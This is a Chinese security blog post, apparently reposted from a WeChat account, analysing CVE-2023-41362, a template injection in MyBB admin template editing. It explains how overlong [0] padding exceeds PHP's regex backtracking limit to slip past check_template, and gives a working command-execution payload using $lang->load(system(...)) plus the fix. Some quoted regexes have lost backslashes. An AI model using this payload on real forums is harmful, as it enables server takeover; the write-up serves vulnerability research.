CVE-2023-41362 mybb模板注入漏洞分析

admin 2024年11月10日18:40:17评论9 views字数 4432阅读14分46秒阅读模式
CVE-2023-41362 mybb模板注入漏洞分析

感谢师傅 · 关注我们

CVE-2023-41362 mybb模板注入漏洞分析

由于,微信公众号推送机制改变,现在需要设置为星标才能收到推送消息。大家就动动发财小手设置一下呗!啾咪~~~

CVE-2023-41362 mybb模板注入漏洞分析

【公告241027】回复关键字没有回复,如何获取方法

原文链接;https://forum.butian.net/share/3834名称;奇安信攻防社区

前言

MyBB 是一款免费的开源论坛软件,使用php开发,支持用户自定义模板。Mybb<1.8.36的版本中,存在模板注入漏洞。

漏洞功能分析

漏洞位于后台的模板编辑处,可以绕过安全限制注入恶意代码导致命令执行漏洞。

修改任一模板(以online模板为例)点击保存

CVE-2023-41362 mybb模板注入漏洞分析

请求url为https://xxx.com/Upload/admin/index.php?module=style-templates&amp;action=edit_template&amp;title=online&amp;sid=1&amp;expand=16

module=style-templates
action=edit_template

定位/Upload/admin/index.php文件,代码通过接受module参数(style-templates),并以”-”分割存入数组分别最终赋值给$run_module(style)和$action_file(templates)

CVE-2023-41362 mybb模板注入漏洞分析

并最终使用require包含($modules_dir为默认的安装位置)

CVE-2023-41362 mybb模板注入漏洞分析

定位到/Upload/admin/modules/style/templates.php

接收action参数,执行动作为编辑模板时,先进入一个安全检查,

CVE-2023-41362 mybb模板注入漏洞分析

随后模板数据在数据库中完成更新

CVE-2023-41362 mybb模板注入漏洞分析

而在访问对应的模板文件时,通过eval函数执行模板内容

CVE-2023-41362 mybb模板注入漏洞分析

所以模板注入有两种方案,要么绕过check_template的限制注入恶意代码,要么通过sql注入直接在数据库执行sql语句向模板中写入恶意代码。

check_template的实现如下

function check_template($template)
{
// Check to see if our database password is in the template
if(preg_match('#$config[((['|"]database['|"])|([^'"].*?))][((['|"](database|hostname|password|table_prefix|username)['|"])|([^'"].*?))]#i', $template))
{
return true;
}

// System calls via backtick
if(preg_match('#$s*{#', $template))
{
return true;
}

// Any other malicious acts?
// Courtesy of ZiNgA BuRgA
if(preg_match("~\{\$.+?\}~s", preg_replace('~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_ 0-9 ]+\2\]s*)*\}~', '', $template)))
{
return true;
}

return false;
}

第一个正则用于检测模板中是否有数据库账号密码的字段

第二个正则用于检测类似**"$(任意个空白字符){"**格式的恶意代码

第三个正则先是用preg_replace函数将诸如**"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"**等字符替换为空,在匹配是否仍然含有

"{$(一个或多个任意字符)}"

通过之前默认的模板文件可以看到,第三个正则主要是用于将合法的模板插值去空后,再检测是否存在恶意插值

CVE-2023-41362 mybb模板注入漏洞分析

例如当模板内容为{$system('whoami')}时,就会被第三个正则检测到而拦截。

PS:MYBB开源论坛系统使用的是自定义的模板系统,而不是常见的第三方模板引擎,通过{$变量}表示一个动态插值。

回溯陷阱(Catastrophic Backtracking)

正则引擎主要可以分为基本不同的两大类:一种是DFA(确定型有穷自动机),另一种是NFA(不确定型有穷自动机)。简单来讲,NFA 对应的是正则表达式主导的匹配,而 DFA 对应的是文本主导的匹配。

举个例子

text = ‘huisuxianjing’ regex = ‘i(a|b)’

在NFA匹配的时候,先用正则中的第一个字符i去匹配,匹配到第一个i后,再用(a|b)去匹配text中第一个i后的s,发现不匹配后,正则退回到i,继续第一个i后的s开始匹配,直至结束。

CVE-2023-41362 mybb模板注入漏洞分析

而在DFA匹配的时候,采用的是文本为主导的匹配方式,即从text中的h开始去匹配正则,发现不匹配后,继续从下一个字符去比较,直至text字符串中的第一个i匹配到了正则中的i,再用后面的s去匹配正则的(a|b),发现不匹配后,再用text字符串中的后续值去匹配直至结束。

CVE-2023-41362 mybb模板注入漏洞分析

由于NFA的执行过程存在回溯,所以性能会劣于DFA,但由于其支持更多功能,被大多数程序语言作为了正则引擎,其中就包括php使用的pcre库。

CVE-2023-41362 mybb模板注入漏洞分析

NFA的回溯

CVE-2023-41362 mybb模板注入漏洞分析

前两步不必多说,第三步匹配.*是直接匹配了整个字符串。导致后面没有字符可以和>匹配了,于是发生了第一次回溯,吐出一个字符即最右边的>,此时第三步的.*匹配的是"<d>A</d><d>123</d",于是再用正则>去匹配剩下的字符”>“匹配成功。同理此时字符串已经匹配完,d+的正则又匹配不到了,于是再次发生回溯,依次吐出字符重新匹配如上图所示,一共发生了8次回溯,

可以看到,在本正则中,回溯的次数与字符串中的数字部分长短有关,数据部分越长,发生回溯的次数就会越多。

如果数字部分的字符足够长,导致回溯次数过多,甚至会引发ReDos,php为了防止ReDos,给回溯次数设置了一个上限,当回溯次数超过了上限时,preg_match会返回false,而preg_replace会返回null。

CVE-2023-41362 mybb模板注入漏洞分析

绕过check_template

因此可以通过构造大量字符使得回溯次数超过上限来绕过check_template的限制,回忆第三个正则如下

    if(preg_match("~\{\$.+?\}~s", preg_replace('~\{\$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_ 0-9 ]+\2\]s*)*\}~', '', $template)))
{
return true;
}
//preg_replace将诸如"{$a}、{$a->bbb}、{$a[bbb]}、{$a[b][b][b]}"等字符替换为空
//preg_match检测"{$(一个或多个任意字符)}"

因此只要构造足够长的垃圾字符,使得preg_replace或者preg_match达到回溯上限返回null/false,就可以绕过安全限制。

用如下脚本可以大概估算下各需要构造多长的payload。

<?php

function checkMacth($preg_match_vaule) {
$pattern ='~\{\$.+?\}~s';
$subject ='{$system("whoam"'.str_repeat(".''",$preg_match_vaule).'.'.'"i"'.')}';
return preg_match($pattern,$subject);
}
$preg_match_vaule=1;

// 循环直到 preg_match_vaule 的结果为 false
for (; checkMacth($preg_match_vaule) !== false;$preg_match_vaule += 100){
}
echo "preg_match_vaule大概值: $preg_match_vaulen";
//{$system("whoam".''.''.''."i")}

function checkReplace($preg_replace_value) {
$pattern = '~{$+[a-zA-Z_][a-zA-Z_0-9]*((?:-\>|\:\:)\$*[a-zA-Z_][a-zA-Z_0-9]*|\[s*\$*(['"]?)[a-zA-Z_0-9 ]+\2\]s*)*\}~';
$subject = '{$a'.str_repeat('[0]', $preg_replace_value).'}';
return preg_replace($pattern, '', $subject);
}

$preg_replace_value = 1;

// 循环直到 preg_replace 的结果为 null
for (; checkReplace($preg_replace_value) !== null; $preg_replace_value += 100) {
}
echo "preg_replace_value大概值: $preg_replace_valuen";

//{$a[0][0][0][0]}
?>

CVE-2023-41362 mybb模板注入漏洞分析

测试发现preg_replace中{$a[b][b][b]}类型的值可以以输入最短的字符长度实现最多的回溯次数,只需要5k多个字符,而达到preg_match的回溯上限则需要90w多个字符。

所以通过在恶意代码后添加一些多维数组例如

{$a[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]......}

使得正则执行失败,从而进行绕过。

因此写入模板内容如下

{$system('whoami')}{$a[0][0][0][0][0][0][0][0][0][0][0][0][0]很多个[0]}

虽然写入成功了但是执行时报错了

CVE-2023-41362 mybb模板注入漏洞分析

mybb的模板引无法直接解析{$system('whoami')},因此模仿模板自带的方式找现有的方法去调用下,观察下默认模板的调用方式

CVE-2023-41362 mybb模板注入漏洞分析

寻找利用$lang已有的方法去调用

CVE-2023-41362 mybb模板注入漏洞分析

{$lang->load((system('whoami'))}{$a[0][0][0][0][0][0][0][0][0]......}

CVE-2023-41362 mybb模板注入漏洞分析

访问触发,成功执行命令

CVE-2023-41362 mybb模板注入漏洞分析

漏洞修复

判断了preg_match的返回值不能为false,preg_replace的返回值不能为null。

CVE-2023-41362 mybb模板注入漏洞分析

下载地址

点击下方名片进入公众号

回复关键字【110】获取网盘下载链接

二个月前资源汇总

https://kdocs.cn/l/cqEYzWfs0kUS

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果

原文始发于微信公众号(黑客白帽子):CVE-2023-41362 mybb模板注入漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月10日18:40:17
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-41362 mybb模板注入漏洞分析http://cn-sec.com/archives/3379896.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息